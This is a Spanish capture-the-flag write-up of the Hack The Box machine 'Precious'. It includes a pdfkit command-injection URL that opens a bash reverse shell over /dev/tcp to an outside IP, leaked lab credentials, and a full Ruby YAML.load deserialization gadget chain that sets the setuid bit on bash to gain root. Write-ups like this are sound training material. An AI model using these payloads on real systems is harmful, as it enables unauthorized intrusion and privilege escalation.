Precious Writeup
Hoy resolveremos la máquina retirada “Precious” es una máquina de hack the box de dificultad fácil.

Enumeración
Empezamos escaneando los puertos de la máquina con nmap
sudo nmap 10.10.11.189
Nmap scan report for 10.10.11.189
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Vulnerabilidad
Antes de poder entras tenemos que actualizar nuestro etc/hosts para que la IP apunte a precious.htb Despues, podríamos entrar en la página.

Viendo esto podemos crearnos un servidor con python3 para que nos cree un pdf de nuestro servidor
python3 -m http.server 4444

Esto nos generará un pdf. Lo analizamos con “exiftool” y podemos ver que versión de pdfkit se utiliza

Buscamos información sobre como injectar comandos en esta máquina. En este sitio https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 encontramos una vulnerbilidad de la que nos podemos aprovechar. Usando el ejemplo podemos manipularlo para que nos dé una revershell. Recordad que tenemos que poner en escucha “netcat”
netcat -lnvp 4444
Ejemplo:
http://example.com/?name=#{'%20`sleep 5`'}
Revershell cambiando el ejemplo:
http://example.com/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.16.18/4444 0>&1"`'}
Este comando que hemos creado hace: bash -c: permite introducir strigns bash -i: Hace que la revershell sea interacitva /dev/tcp/10.10.16.18/4444: crea la revershell cuando se ejecuten

Dentro de la máquina podemos encontrar dentro del usuario “ruby” una carpeta oculta llamada “bundle” que contiene las credenciales de “henry”
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Escalada de privilegios
Accedemos al ssh con las credenciales de “henry”
ssh henry@10.10.11.189
henry@10.10.11.189's password:Q3c1AqGHtoI0aXAYFH
Dentro de la carpeta /home/ de “henry” encontramos la user.txt y ya tendríamos la mitad de la máquina
Utilizamos sudo -l para ver que se ejecuta como root
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Buscamos como escalar de privilegios con Ruby YAML.load. En esta página (https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/) encontramos una vulnerabilidad. Vemos que si manipulamos el campo git-set podemos escalar de privilegios.
Ejemplo:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Escalada cambiando el ejemplo:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
No se nos puede olvidar que este script se tiene que llamar dependencies.yml y tiene que estar en la carpeta /home/ de “henry”
Ahora ejecutamos este script con bash -p y tendríamos una shell root. Buscamos la carpeta /root/ y allí encontrariamos la root.txt y habríamos completado la máquina.